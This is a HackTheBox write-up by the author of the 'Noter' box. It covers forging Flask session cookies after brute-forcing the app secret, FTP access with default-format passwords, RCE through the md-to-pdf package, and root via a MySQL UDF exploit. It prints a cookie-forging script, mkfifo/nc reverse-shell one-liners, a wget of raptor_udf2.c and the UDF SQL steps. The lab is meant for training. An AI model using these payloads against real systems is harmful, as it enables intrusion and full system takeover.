Noter — Hackthebox Walkthrough

Kavishka Gihan
8 min readSep 3, 2022

--

Noter, another linux box made by myself which features getting access to a note taking application by bruteforcing cookie secret of flask session tokens and source code analysis leading to command injection through a vulnerable node module including exploiting a MySQL UDF (User Defined Function) that results command execution as root.

User

Nmap reveals 3 open ports. Port 21(FTP), 22 (SSH) and port 5000. Visiting port 5000, we get a website.

nmap --open 192.168.1.7

After registering and logging in, we land on a dashboard that allows us to add notes. It seems that we are a normal member and not a VIP member.

We also get a cookie, which seems like in the format of Flask session cookies.

We can decode it to see what parameter are being set.

The following blog post goes over how Flask session management works and how we can bypass authentication by brute forcing the app secret.

According to the article, we can try to brute force the app secret with a simple python script.

Running this gives us the secret as secret123

Now we can create a session token to access as “admin”.

When we run the script, we get the admin token as follows.

eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YcoS5g.pOt7s77hxxZO4Ml3yb7CBm1tETc

But when we replace the cookie and refresh the page, we are redirected back to the login page.

So maybe this means that there is no ‘admin’ account. Since we don’t specifically know a username to create a token to, we will have to create tokens for a list of users and brute force to see what user gives us a 200 OK response.

from flask.json.tag import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer, TimestampSigner, signer
import hashlib
from itsdangerous.exc import BadSignature
import sys
for user in open('/usr/share/wordlists/SecLists/Usernames/Names/names.txt').readlines():
session = {'logged_in' : True, "username" : user.strip()}
secret = "secret123"
print(
URLSafeTimedSerializer(
secret_key=secret.strip(),
salt='cookie-session',
serializer=TaggedJSONSerializer(),
signer=TimestampSigner,
signer_kwargs={
'key_derivation' : 'hmac',
'digest_method' : hashlib.sha1
}
).dumps(session)
)

python3 create-token.py > cookies

ffuf -u 'http://192.168.1.7:5000/dashboard' -H 'Cookie: session=FUZZ' -w cookies -fw 21

And we get a 200 response with token with the username blue.

eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YsR78w.dqS7ZSA67oi2KlVzffotHXTWgQg

So now we can replace the cookie with this and refresh the /dashboard

Now we are logged in as the blue user. Looking at the notes of the blue user’s, we see there is a note from the “Noter Team” which includes the credentials to access the FTP server. This also mentions about an attachment that was sent along with an Email.

Now we can access the FTP server with these credentials.

USER: blue 
PASS: blue@Noter!

After accessing the FTP server with the username and the password, we can see that there is a file named “policy.pdf”.

So we can download it and see what’s in it.

get policy.pdf

This gives some information about the password policy of this company. And, under the Password Creation section, there is something about the format of the password that is generated by the application.

It stated that the default password is in the format of username@site_name!. Looking at the username of the blue user, we can see that his password (blue@Noter!) fits to the format that's mentioned.

Assuming that the admin password is set to default and not changed, we can get the possible password of the admin user as ftp_admin@Noter! (Also this username is specified in the note as well). Using this, we can try to log in as admin to the FTP server.

And it works. After logging in as admin, we can see there are 2 ZIP archives, which seem to be backups of the Noter application. We can download them and see what we can find.

get app_backup_1635803546.zip
get app_backup_1638395546.zip

mkdir backup1
mv app_backup_1635803546.zip backup1
cd backup1
unzip app_backup_1635803546.zip

In the first ZIP file there is a “main.py” file. We can see the credentials to access the MySQL server.

In the other ZIP file, we can see the function that controls the export function.

mkdir backup2
mv app_backup_1638395546.zip backup2
cd backup2
unzip app_backup_1638395546.zip

Here we can see that this is using “node” to export the notes to a PDF files. It’s using the “md-to-pdf.js” file in the misc directory. Looking at that file, we can see that it’s using a node package called md-to-pdf

Looking at the package details, we see that it is using version 4.1.0 of this package.

cat package-lock.json|grep -B 3 md-to-pdf

With a simple google search, we can find that this version is vulnerable to a Remote Code Execution vulnerability.

Knowing this, now we can try to exploit the remote export functionality in the application. But when we try to specify a URL, we get an error saying “Invalid file type”

Looking at the source code again, we see that it checks to see if the file ends with .md extension.

As the above link mentioned, we can try to use a payload as follows to verify that we have RCE.

We can make a file with this payload and name it as a README file (f.md). Then we host it in our web server and then specify the URL as http://192.168.1.7/f.md

curl 192.168.1.7/RCE_here

After clicking “Export” we can see that our web server got a GET request to the f.md file and after a couple of seconds another request to “/RCE_here which verifies that we have Remote Code Execution.

Now we can get a reverse shell by using the following payload instead of the curl.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.7 9090 >/tmp/f

Root

We can see mysql is running internally, Looking at the configuration files of mysql, we can see that MySQL daemon (mysqld) is running as root.

cat /etc/mysql/mariadb.conf.d/50-server.cnf|grep user

The following article goes over how running mysqld as root leads to Privilege Escalation.

As mentioned in the article,

  1. First we have to download the raptor_udf2.c file and upload in to the box and place it in /tmp.

wget http://0xdeadbeef.info/exploits/raptor_udf2.c
nc -lvnp 9999 < raptor_udf2.c # locally
nc 192.168.1.7 9999 > raptor_udf2.c # Inside the box
mv raptor_udf2.c /tmp

2. Then we have to compile it with gcc.

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

3. Now we have to start exploitation by logging in to mysql as root. We can use the credentials we found from the backup files.

mysql -u root -p mysql # Nildogg36

4. Then, we create a temporary table.

create table foo(line blob);

5. After, we insert the contents of the compiled file to the table.

insert into foo values(load_file('/tmp/raptor_udf2.so'));

6. Then we have to find the directory where the MySQL plugins are stored.

show variables like '%plugin%';

7. After, we dump the table we created to a file at that location.

select * from foo into dumpfile "/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so";

8. Now we create a function that will use the raw binary just pushed.

create function do_system returns integer soname 'raptor_udf2.so';

9. Finally, we can simply call the function and execute what ever command we need as root. I started a listener on port 9090 and got a reverse shell.

select do_system('rm /tmp/k;mkfifo /tmp/k;cat /tmp/k|/bin/sh -i 2>&1|nc 192.168.1.7 9090 >/tmp/k &');

Rooted!

Hope you found this box fun and enjoyable. If you found any step to be unfit or unsuitable, please contact me and let me know. I would love to correct my mistakes and make better, improved content for the community!

Contact me though social media:

Email — iamkavigihan@gmail.com
Instagram —
https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518

Happy Hacking !!! 😄

--

--

Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan